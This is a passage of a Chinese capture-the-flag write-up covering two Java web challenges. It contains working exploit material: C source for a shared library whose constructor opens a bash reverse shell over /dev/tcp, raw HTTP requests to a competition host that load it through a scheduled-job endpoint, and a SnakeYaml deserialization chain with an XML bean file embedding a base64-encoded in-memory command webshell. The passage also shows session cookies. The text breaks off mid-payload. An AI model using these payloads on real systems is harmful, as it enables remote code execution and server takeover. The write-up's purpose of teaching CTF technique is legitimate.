 if (c != &amp;#39;(&amp;#39; &amp;amp;&amp;amp; c != &amp;#39;{&amp;#39; &amp;amp;&amp;amp; c != &amp;#39;[&amp;#39;) {
 if (c == &amp;#39;)&amp;#39; || c == &amp;#39;}&amp;#39; || c == &amp;#39;]&amp;#39;) {
 bracketLevel--;
 } else if (c == &amp;#39;,&amp;#39; &amp;amp;&amp;amp; bracketLevel == 0) {
 params.add(paramStr.substring(start, i));
 start = i &amp;#43; 1;
 }
 } else {
 bracketLevel&amp;#43;&amp;#43;;
 }
 }
 if (start &amp;lt; paramStr.length()) {
 params.add(paramStr.substring(start));
 }
 return (String[]) params.toArray(new String[0]);
 }

 /* loaded from: jaba-ez.jar:BOOT-INF/classes/com/jabaez/VulnController$ScheduledJob.class */
 static class ScheduledJob {
 private String jobName;
 private String invokeTarget;
 private String cronExpression;

 ScheduledJob() {
 }

 public String getJobName() {
 return this.jobName;
 }

 public void setJobName(String jobName) {
 this.jobName = jobName;
 }

 public String getInvokeTarget() {
 return this.invokeTarget;
 }

 public void setInvokeTarget(String invokeTarget) {
 this.invokeTarget = invokeTarget;
 }

 public String getCronExpression() {
 return this.cronExpression;
 }

 public void setCronExpression(String cronExpression) {
 this.cronExpression = cronExpression;
 }
 }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;可以上传任意文件到/tmp/upload，可以写任务并且执行任务时可以调用任意方法&lt;/p&gt;
&lt;p&gt;注意这里的白名单和黑名单&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; private static final String[] JOB_BLACKLIST = {&amp;#34;java.net.URL&amp;#34;, &amp;#34;javax.naming.InitialContext&amp;#34;, &amp;#34;org.yaml.snakeyaml&amp;#34;, &amp;#34;org.springframework&amp;#34;, &amp;#34;org.apache&amp;#34;, &amp;#34;rmi&amp;#34;, &amp;#34;ldap&amp;#34;, &amp;#34;ldaps&amp;#34;, &amp;#34;http&amp;#34;, &amp;#34;https&amp;#34;};
 private static final String[] JOB_WHITELIST = {&amp;#34;com.jabaez.FLAG&amp;#34;};&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;看起来限制的很死，但是我们可以参考&lt;a href="https://aecous.github.io/2025/05/24/ruoyi4-8%E5%90%8E%E5%8F%B0RCE%E5%88%86%E6%9E%90/#%E8%AE%A1%E5%88%92%E4%BB%BB%E5%8A%A1" target="_blank" rel="external nofollow noopener noreferrer"&gt;若依4.8计划任务RCE&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;编译上传so文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
__attribute__ ((constructor)) void angel(void) {
 system(&amp;#34;bash -c &amp;#39;bash -i &amp;gt;&amp;amp; /dev/tcp/ip/port 0&amp;gt;&amp;amp;1&amp;#39;&amp;#34;);
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;写任务时加载&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /api/job/add HTTP/1.1
Host: pss.idss-cn.com:22313
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Pragma: no-cache
Accept: text/html,application/xhtml&amp;#43;xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: rt_web__jwt_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiZGRjZGIzZGVmNWFjYzhiZGYzOGUxYWFlZTA2ZjQ0OWIiLCJ1c2VybmFtZSI6ImRpbmdndWFuaGUiLCJleHAiOjE3NTQ1MzkxNDEsImVtYWlsIjoiMTA1MTM3Mzc4N0BxcS5jb20ifQ.GKWAhdC5mzMk84NtomZw3uuIjdAM70zheBUy469BgCI; rt_web_csrf_token=6BwsSY8NNkNzvKhCpJOLtLiDck38bmqZeq7Yovs99z56liUedfKpdWPGU80ORBEJ
Cache-Control: no-cache
Content-Type: application/json

{
 &amp;#34;jobName&amp;#34; : &amp;#34;aa3&amp;#34;,
 &amp;#34;invokeTarget&amp;#34; : &amp;#34;java.lang.System#load(&amp;#39;/tmp/uploads/com.jabaez.FLAG.so&amp;#39;)&amp;#34;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;执行任务&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /api/job/run/aa3 HTTP/1.1
Host: pss.idss-cn.com:22313
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Pragma: no-cache
Accept: text/html,application/xhtml&amp;#43;xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: rt_web__jwt_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiZGRjZGIzZGVmNWFjYzhiZGYzOGUxYWFlZTA2ZjQ0OWIiLCJ1c2VybmFtZSI6ImRpbmdndWFuaGUiLCJleHAiOjE3NTQ1MzkxNDEsImVtYWlsIjoiMTA1MTM3Mzc4N0BxcS5jb20ifQ.GKWAhdC5mzMk84NtomZw3uuIjdAM70zheBUy469BgCI; rt_web_csrf_token=6BwsSY8NNkNzvKhCpJOLtLiDck38bmqZeq7Yovs99z56liUedfKpdWPGU80ORBEJ
Cache-Control: no-cache
Content-Type: application/json&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;反弹shell&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508071722528.png' alt="img"&gt;&lt;/p&gt;
&lt;h1 class="heading-element" id="ezyaml"&gt;&lt;span&gt;ezyaml&lt;/span&gt;
 &lt;a href="#ezyaml" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508071723165.png' alt="image-20250807172356086"&gt;&lt;/p&gt;
&lt;p&gt;SnakeYaml反序列化&lt;/p&gt;
&lt;p&gt;这里的黑名单加上不出网限制了打不了JNDI，同时也无法加载远程类&lt;/p&gt;
&lt;p&gt;参考&lt;a href="http://www.bmth666.cn/2022/10/12/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BSnakeYaml/index.html" target="_blank" rel="external nofollow noopener noreferrer"&gt;java反序列化之SnakeYaml&lt;/a&gt;，可以写jar包，但问题是无法加载，所以这题当时就没出&lt;/p&gt;
&lt;p&gt;第二天突然看到&lt;a href="https://forum.butian.net/share/4467" target="_blank" rel="external nofollow noopener noreferrer"&gt;从 SnakeYaml 看 ClassPathXmlApplicationContext 不出网利用&lt;/a&gt;，想起来P牛之前写过的一篇文章&lt;a href="https://www.leavesongs.com/PENETRATION/springboot-xml-beans-exploit-without-network.html" target="_blank" rel="external nofollow noopener noreferrer"&gt;ClassPathXmlApplicationContext的不出网利用&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;既然我们已经可以写入任意文件了，那么也就可以通过&lt;strong&gt;加载XML&lt;/strong&gt;去执行命令，题目过滤了&lt;code&gt;ClassPath&lt;/code&gt;自然也就用不了&lt;code&gt;ClassPathXmlApplicationContext&lt;/code&gt;，但是还可以利用&lt;code&gt;FileSystemXmlApplicationContext&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;我们就可以构造出payload，首先写一个xml，这个xml可以用javachains写一个回显马&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;beans xmlns=&amp;#34;http://www.springframework.org/schema/beans&amp;#34;
 xmlns:xsi=&amp;#34;http://www.w3.org/2001/XMLSchema-instance&amp;#34;
 xsi:schemaLocation=&amp;#34;http://www.springframework.org/schema/beans
 http://www.springframework.org/schema/beans/spring-beans.xsd&amp;#34;&amp;gt;
 &amp;lt;bean id=&amp;#34;decoder&amp;#34; class=&amp;#34;org.springframework.beans.factory.config.MethodInvokingFactoryBean&amp;#34;&amp;gt;
 &amp;lt;property name=&amp;#34;staticMethod&amp;#34; value=&amp;#34;javax.xml.bind.DatatypeConverter.parseBase64Binary&amp;#34;/&amp;gt;
 &amp;lt;property name=&amp;#34;arguments&amp;#34;&amp;gt;
 &amp;lt;list&amp;gt;
 &amp;lt;value&amp;gt;yv66vgAAADIBOwEAZm9yZy9hcGFjaGUvY29tbW9tcy9iZWFudXRpbHMvY295b3RlL2Rlc2VyaWFsaXphdGlvbi9WYWx1ZUluc3RhbnRpYXRvcnNkM2Y5MzlmMjA1ZjM0Mzk0ODA3M2UwMmQwMzlkNzhkYQcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAAY8aW5pdD4BAAMoKVYBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwAHDAAFAAYKAAQACQEAA3J1bgwACwAGCgACAAwBABBnZXRSZXFIZWFkZXJOYW1lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAANjbWQIABABAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24HABIBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwAUAQAQamF2YS9sYW5nL1RocmVhZAcAFgEACmdldFRocmVhZHMIABgBAA9qYXZhL2xhbmcvQ2xhc3MHABoBABJbTGphdmEvbGFuZy9DbGFzczsHABwBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsMAB4AHwoAGwAgAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kBwAiAQANc2V0QWNjZXNzaWJsZQEABChaKVYMACQAJQoAIwAmAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DAAoACkKACMAKgEAE1tMamF2YS9sYW5nL1RocmVhZDsHACwBAAdnZXROYW1lDAAuAA8KABcALwEABGh0dHAIADEBABBqYXZhL2xhbmcvU3RyaW5nBwAzAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMADUANgoANAA3AQAIQWNjZXB0b3IIADkBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsMADsAPAoABAA9AQAGdGFyZ2V0CAA/AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwwAQQBCCgAbAEMBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAcARQoARgAmAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMAEgASQoARgBKAQAIZW5kcG9pbnQIAEwBAAZ0aGlzJDAIAE4BAAdoYW5kbGVyCABQAQANZ2V0U3VwZXJjbGFzcwwAUgA8CgAbAFMBAAZnbG9iYWwIAFUBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsMAFcAWAoAGwBZAQAib3JnLmFwYWNoZS5jb3lvdGUuUmVxdWVzdEdyb3VwSW5mbwgAWwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgcAXQEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsMAF8AYAoAXgBhCgAbAC8BAApwcm9jZXNzb3JzCABkAQATamF2YS91dGlsL0FycmF5TGlzdAcAZgEABHNpemUBAAMoKUkMAGgAaQoAZwBqAQAVKEkpTGphdmEvbGFuZy9PYmplY3Q7DABIAGwKAGcAbQEAA3JlcQgAbwEAB2dldE5vdGUIAHEBABFqYXZhL2xhbmcvSW50ZWdlcgcAcwEABFRZUEUBABFMamF2YS9sYW5nL0NsYXNzOwwAdQB2CQB0AHcBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwwAeQB6CgB0AHsBAAlnZXRIZWFkZXIIAH0BAAlnZXRNZXRob2QMAH8AHwoAGwCADAAOAA8KAAIAggEAC2dldFJlc3BvbnNlCACEAQAJZ2V0V3JpdGVyCACGAQAOamF2YS9pby9Xcml0ZXIHAIgBAAZoYW5kbGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAigCLCgACAIwBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgwAjgCPCgCJAJABAAVmbHVzaAwAkgAGCgCJAJMBAAVjbG9zZQwAlQAGCgCJAJYBAARleGVjAQAHb3MubmFtZQgAmQEAEGphdmEvbGFuZy9TeXN0ZW0HAJsBAAtnZXRQcm9wZXJ0eQwAnQCLCgCcAJ4BAAt0b0xvd2VyQ2FzZQwAoAAPCgA0AKEBAAN3aW4IAKMBAAcvYmluL3NoCAClAQACLWMIAKcBAAdjbWQuZXhlCACpAQACL2MIAKsBABFqYXZhL2xhbmcvUnVudGltZQcArQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAK8AsAoArgCxAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAmACzCgCuALQBABFqYXZhL2xhbmcvUHJvY2VzcwcAtgEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMALgAuQoAtwC6AQARamF2YS91dGlsL1NjYW5uZXIHALwBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMAAUAvgoAvQC/AQACXGEIAMEBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMAMMAxAoAvQDFAQAACADHAQAHaGFzTmV4dAEAAygpWgwAyQDKCgC9AMsBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgcAzQoAzgAJAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7DADQANEKAM4A0gEABG5leHQMANQADwoAvQDVAQAIdG9TdHJpbmcMANcADwoAzgDYAQAKZ2V0TWVzc2FnZQwA2gAPCgAIANsBABNbTGphdmEvbGFuZy9TdHJpbmc7BwDdAQATamF2YS9pby9JbnB1dFN0cmVhbQcA3wEABmV5SmVYQQgA4QEACnN0YXJ0c1dpdGgBABUoTGphdmEvbGFuZy9TdHJpbmc7KVoMAOMA5AoANADlAQAGbGVuZ3RoDADnAGkKADQA6AEABmNoYXJBdAEABChJKUMMAOoA6woANADsAQAVKEMpTGphdmEvbGFuZy9TdHJpbmc7DAB5AO4KADQA7wEACHBhcnNlSW50AQAVKExqYXZhL2xhbmcvU3RyaW5nOylJDADxAPIKAHQA8wEAAS4IAPUBAAdpbmRleE9mDAD3APIKADQA&amp;#43;AEACXN1YnN0cmluZwEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsMAPoA&amp;#43;woANAD8AQAMYmFzZTY0RGVjb2RlAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgwA/gD/CgACAQABAAF4AQAGKFtCKVtCDAECAQMKAAIBBAEABShbQilWDAAFAQYKADQBBwEABi85ai80QQgBCQwAmACLCgACAQsBAAhnZXRCeXRlcwEABCgpW0IMAQ0BDgoANAEPAQAMYmFzZTY0RW5jb2RlAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwwBEQESCgACARMBAAUvOWs9PQgBFQEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIIARcBAAdmb3JOYW1lDAEZAGAKABsBGgEADGRlY29kZUJ1ZmZlcggBHAEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsMAR4BHwoAGwEgAQACW0IHASIBABBqYXZhLnV0aWwuQmFzZTY0CAEkAQAKZ2V0RGVjb2RlcggBJgEABmRlY29kZQgBKAEACmdldEVuY29kZXIIASoBABNbTGphdmEvbGFuZy9PYmplY3Q7BwEsAQAOZW5jb2RlVG9TdHJpbmcIAS4BABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyCAEwAQAGZW5jb2RlCAEyAQAPPz8/Pz8/Pz8/Pz8/Pz8/CAE0AQAIPGNsaW5pdD4KAAIACQEABENvZGUBAApFeGNlcHRpb25zAQANU3RhY2tNYXBUYWJsZQAhAAIABAAAAAAACQABAAUABgACATgAAAAVAAEAAQAAAAkqtwAKKrcADbEAAAAAATkAAAAEAAEACAACAA4ADwABATgAAAAPAAEAAQAAAAMSEbAAAAAAAAIACwAGAAEBOAAAAykABgALAAACRhIXEhkDvQAbwAAdtgAhTCsEtgAnKwEDvQAEtgArwAAtwAAtwAAtTQM&amp;#43;HSy&amp;#43;ogIVLB0ytgAwEjK2ADiZAgEsHTK2ADASOrYAOJkB8ywdMrYAPhJAtgBEOgQZBAS2AEcZBCwdMrYASzoFGQW2AD4STbYARDoEpwAROgYZBbYAPhJPtgBEOgQZBAS2AEcZBBkFtgBLOgUZBbYAPhJRtgBEOgSnACs6BhkFtgA&amp;#43;tgBUElG2AEQ6BKcAFzoHGQW2AD62AFS2AFQSUbYARDoEGQQEtgBHGQQZBbYASzoFGQW2AD4SVrYARDoEpwAUOgYZBbYAPrYAVBJWtgBEOgQZBAS2AEcZBBkFtgBLOgUZBbYAPrYAWhJctgBiVxkFtgA&amp;#43;tgBjEly2ADiZARcZBbYAPhJltgBEOgQZBAS2AEcZBBkFtgBLwABnOgYDNgcVBxkGtgBrogDsGQYVB7YAbrYAPhJwtgBEOgQZBAS2AEcZBBkGFQe2AG62AEu2AD4ScgS9ABtZA7IAeFO2ACEZBBkGFQe2AG62AEsEvQAEWQMEuAB8U7YAKzoFGQQZBhUHtgButgBLtgA&amp;#43;En4EvQAbWQMSNFO2AIEZBBkGFQe2AG62AEsEvQAEWQMqtwCDU7YAK8AANDoIGQjGAE8ZBbYAPhKFA70AG7YAIRkFA70ABLYAKzoJGQm2AD4ShwO9ABu2AIEZCQO9AAS2ACvAAIk6ChkKGQi4AI22AJEZCrYAlBkKtgCXpwAOpwAFOgmEBwGn/xCEAwGn/eunAARMsQAGAGgAdAB3ABMAlACgAKMAEwClALQAtwATANoA5gDpABMBowItAjMACAAAAkECRAAVAAEBOgAAAKEAEP4AKQcAIwcALQH/AE0ABgcAAgcAIwcALQEHAEYHAAQAAQcAEw1dBwAT/wATAAcHAAIHACMHAC0BBwBGBwAEBwATAAEHABP6ABNdBwATEP0ATQcAZwH8AOcHADT/AAIACAcAAgcAIwcALQEHAEYHAAQHAGcBAAEHAAgB/wAFAAQHAAIHACMHAC0BAAAF/wACAAEHAAIAAQcAFfwAAAcABAAKAJgAiwABATgAAADjAAQABwAAAJMEPBKauACfTSzGABEstgCiEqS2ADiZAAUDPBuZABgGvQA0WQMSplNZBBKoU1kFKlOnABUGvQA0WQMSqlNZBBKsU1kFKlNOuACyLbYAtbYAuzoEuwC9WRkEtwDAEsK2AMY6BRLIOgYZBbYAzJkAH7sAzlm3AM8ZBrYA0xkFtgDWtgDTtgDZOgan/98ZBrBMK7YA3LAAAQAAAIwAjQAIAAEBOgAAADYABv0AGgEHADQYUQcA3v8AIAAHBwA0AQcANAcA3gcA4AcAvQcANAAAI/8AAgABBwA0AAEHAAgACgCKAIsAAgE4AAAAuAAGAAYAAACPEuJMAU0qK7YA5pkAgCortgDptgDtuADwuAD0PgM2BAM2BRUFHaIAGxUEKiu2AOkEYBUFYLYA7WA2BIQFAaf/5bsANFkqK7YA6QRgHWAVBGAqEva2APm2AP24AQG4AQW3AQhNuwDOWbcAzxMBCrYA0yy4AQy2ARC4AQW4ARS2ANMTARa2ANO2ANmwKrgBDLAAAAABAToAAAAXAAP/ACIABgcANAcANAUBAQEAAB34AEkBOQAAAAQAAQAIAAoA/gD/AAIBOAAAAI8ABgAEAAAAbxMBGLgBG0wrEwEdBL0AG1kDEjRTtgCBK7YBIQS9AARZAypTtgArwAEjwAEjsEwTASW4ARtNLBMBJwO9ABu2AIEBA70ABLYAK04ttgA&amp;#43;EwEpBL0AG1kDEjRTtgCBLQS9AARZAypTtgArwAEjwAEjsAABAAAALAAtAAgAAQE6AAAABgABbQcACAE5AAAABAABAAgACQERARIAAgE4AAAArwAGAAUAAAB6AUwTASW4ARtNLBMBKwHAAB22AIEsAcABLbYAK04ttgA&amp;#43;EwEvBL0AG1kDEwEjU7YAgS0EvQAEWQMqU7YAK8AANEynADdOEwExuAEbTSy2ASE6BBkEtgA&amp;#43;EwEzBL0AG1kDEwEjU7YAgRkEBL0ABFkDKlO2ACvAADRMK7AAAQACAEEARAAIAAEBOgAAABsAAv8ARAACBwEjBwA0AAEHAAj9ADMHABsHAAQBOQAAAAQAAQAIAAkBAgEDAAEBOAAAAEkABgAEAAAAKhMBNbYBEEwqvrwITQM&amp;#43;HSq&amp;#43;ogAXLB0qHTMrHSu&amp;#43;cDOCkVSEAwGn/&amp;#43;kssAAAAAEBOgAAAA0AAv4ADgcBIwcBIwEZAAgBNgAGAAEBOAAAAC4AAgABAAAADbsAAlm3ATdXpwAES7EAAQAAAAgACwAIAAEBOgAAAAcAAksHAAgAAAA=&amp;lt;/value&amp;gt;

 &amp;lt;/list&amp;gt;

 &amp;lt;/property&amp;gt;

 &amp;lt;/bean&amp;gt;

 &amp;lt;bean id=&amp;#34;classLoader&amp;#34; class=&amp;#34;javax.management.loading.MLet&amp;#34;/&amp;gt;
 &amp;lt;bean id=&amp;#34;clazz&amp;#34; factory-bean=&amp;#34;classLoader&amp;#34; factory-method=&amp;#34;defineClass&amp;#34;&amp;gt;
 &amp;lt;constructor-arg ref=&amp;#34;decoder&amp;#34;/&amp;gt;
 &amp;lt;constructor-arg type=&amp;#34;int&amp;#34; value=&amp;#34;0&amp;#34;/&amp;gt;
 &amp;lt;constructor-arg type=&amp;#34;int&amp;#34; value=&amp;#34;5129&amp;#34;/&amp;gt;
 &amp;lt;/bean&amp;gt;

 &amp;lt;bean factory-bean=&amp;#34;clazz&amp;#34; factory-method=&amp;#34;newInstance&amp;#34;/&amp;gt;
&amp;lt;/beans&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [&amp;#34;./poc.xml&amp;#34;],false],!!java.util.zip.Inflater { input: !!binary eJyVWVdz4ti2fj9V5z909WvXGBmMbaZmpmptJUBIIBGE9AYSLYICRoCAX3&amp;#43;/JYJTu88dt9WIHVb8Vtjef01nkzT/dkjiNP/7&amp;#43;3y7Xf9ZqRRFcZevN4s0&amp;#43;rmZJLMi26zusk1UyYP5LJlUyi3f//ufb&amp;#43;efcu&amp;#43;fh3zxbn9RK7dUJem&amp;#43;MjY7/XLrH4s0307SYPZmd77480y3kwWT7SJL/5UYNzq/&amp;#43;vkXdCrnBX&amp;#43;UX&amp;#43;4Oefj9nzPpv3jk2yL8&amp;#43;3s4C7Jwtvn&amp;#43;LYgnOYwFEp/Inrf/nATbbHO8C7L05yK6M2fbeRa20n22wmLtPCmw8sqj5LPeZOvZZnv8loLY399hp&amp;#43;0iOG/9/m0/iXcYXE72k8MdDH43XaThnTLBouN6JmfpHltnm7v1ZJPPxCSfPT6IRTrZHL9XfsNjsol2ySzd5m8FKRfGi3z7z2fb/lXK8c9x//i4j4hIaYluoZKfNI7&amp;#43;sTEPdG050Yd7r9rYTt3GNjg2Fr6r7cKxs542TR6vT2tO3Kk6cVAdHSeulk/G63mox/vpouF67uHeH8a7oObMp6mz9sbOPkitlVn16uYpTswl3ftLUzJPK6mrUM2sDgszsQvMrazTfOXZAZGtkqqDZqLup7q2g1w9L1nHXs1uEpmCyHueuPV1qDzg3cyMkSdIWC/e2J93qof5NAn2zni&amp;#43;9MdCmriNnSioqRBp2GeAOMmgT7X2/TQqSC5IlyOSiQrQEKk/dvr&amp;#43;WGtB55U/bnc99z7GlqEhx&amp;#43;Yk0apev5F7bj3t3FtSkMQ7/5RDBms5de0WCf5XfyfHIGkMQtfKnCSOp7qjzXQrDpqwZfWhSaL1Se6RPj9Oa&amp;#43;HcSw4x5B6Ct/2er5MFyWjuU0BapJKchHGoXcaaJmSIIE/jHU0bn0HNBL8M/NrTwXvbKvg8Bacc82wDjW2g&amp;#43;q6Ve&amp;#43;N27Kv3cajP9z6pZMvzL2yw/Yrm&amp;#43;sP40Xf9HLSljnShq&amp;#43;QmiQdqFhnpBUXQ13vHowYZYAv4fj9wR9JEb6xglwXWWcCfZLsW/GydJm479&amp;#43;FXIc8nwIMJJ1PbzqhVUIK1OvBSnVa37Mu6oR7e&amp;#43;6jafmGZuvfb9/pJjcUkGS1D5ZMeVzw&amp;#43;AVcZySuDZJMM&amp;#43;EP9SOPqLwX2lWFfCtm&amp;#43;Ja6wd0f0bJAIqIMYFPpcCpvUIkVlLL6TcVhzEGv1FLqfoEMLcbgLdW09TREPIs8&amp;#43;2n&amp;#43;ia8dhdXQI3dHOqw6fjFFmkjIkK8rIAvqZxtl2QprWWuC5gmxzlu3sO8ijHqOPel/9Clo59aA6g43tC1mOPvyBQKowZvnd0UfLKY&amp;#43;7Duw/yhlDnf5XGPodVvy17x5W3aIg2xYy4nVKKusdvrMR7JxMwTOUGxd&amp;#43;ATnAgBOVGFBYJnwmX/r/GH/lf5PUiPolLWGw7Xy3vgr0BuyPuFfZrz6wGZ/aCvyncl4KM9BYQZ6jTMJmvDL/YW1UIK8szzZGgEf0XOqjcV7z06neWHhu0SJtiO/1V39Ih73nIucCY3r/C79c1ywhrxaQSxxTwgfvxbTWTjuJVnjIRX6/vpzW4n2oD3fDpMTIKVRD5J1R0XfrybSIyIX/Nfc3PKKAxog32S2/3zDT/v/79xVL2jN5kHUciXlpC/kZuq&amp;#43;LIGmUsQ3ZT7DhCnoMLrTvUW/yjqQdg0SrD2D3EL72YRvRtNazZHiuC8OVSXpEE/jNL8QL9o8MdfWbWBYtGMwgPaDpuUbEgQ2BODaryLNqnW3WoibHp/YOQ7Cb5LthaRe2g9Acf6gOed0HTHFetU6M5dAWVdkWEjUDxkv1XDsbjFX3F3K2UU9jYOjIe2e2eJQj3sv1J2acXGoWYrkpXccsPNm0apvUfL7kWJmQd7pl3gFUI64hrJsGXWtiP02tWCYZyZ7ajNdRrb0OSwzLOsa6F13W02NjDL9K4IeMxTXHv&amp;#43;AdOsvex3w0CJvtNez0ZAwPv8xrrNMikjtlLW5xPI1qJX34QfsNpkao4ctI7smR3KY2pyPkgOboNKGCVhHXdh7n2OJc1Dj5dkGxfR1H30BOPEPOgG7Nac3cTRNt68PnyeceZDAbW/Cx1KQ223zL9rWBUY5naQa6qc3yywG1Of630hSxEsJfdlUr&amp;#43;WZEkJMkMlTuGWoT96FFBssW7D3o06lZGezMNUruuKjlRokL7i12/njOflmXc1Weyz9hcJiOUBNiyB/Qxr72Buhz0IdNXcbiMPtk/&amp;#43;ueAeLQeKYcUm4i&amp;#43;QA&amp;#43;maF9rGVfxrJ9jVX2Y0LyCXbYUcf&amp;#43;LGOzjR5yhFwR0BbYU1hGFf1ik3Ojg5yvbcF7/KbfYqwB&amp;#43;&amp;#43;I&amp;#43;1Jj/aD5lWTsR7RDX20J&amp;#43;xHrnXV64t5aQd1dis8M9TXTD48R95lgt0M8yJmPPlZ7KfgGt1h61cW/LXL/ksa62yGQ/He7RZ6AfOsCGJd6B7&amp;#43;B/47uGXsUt9sOqBb3r55xsmnQg5qFo4AGgK03GHWr1aZCMHkLUR0LNdYHpo60YsGGDzPxTnbvGjJ2O1ugpy5xzgi1OESIA2PbGouD6hPftx1p3i7ePte7qW6l9P0GthZ7IhwqqlmqQ&amp;#43;UAS51a9Hs&amp;#43;ayCUWimlR6jHiWhjqN/0xF5Rzp0jxMGdwDkHfdgqq6CsRA9WojIEWWayX9bFvvNlRFEr4Jt9/xgAwXuM8m4zq/WTk2YjZB8Z8aknoW6XgPkTeikrMf&amp;#43;kr7om6JtWJeyKF405Hvd75NSeD7inp6OtggkdiPlYGuoJ9hB6zbQzhzG5Gj0W5Nz/XFvNjXNx4obbUqftQ0nuC3HJTzHEuirlunPd&amp;#43;6Se0FMqBei2DmjY9Yy/1kTd6XONC0Eb&a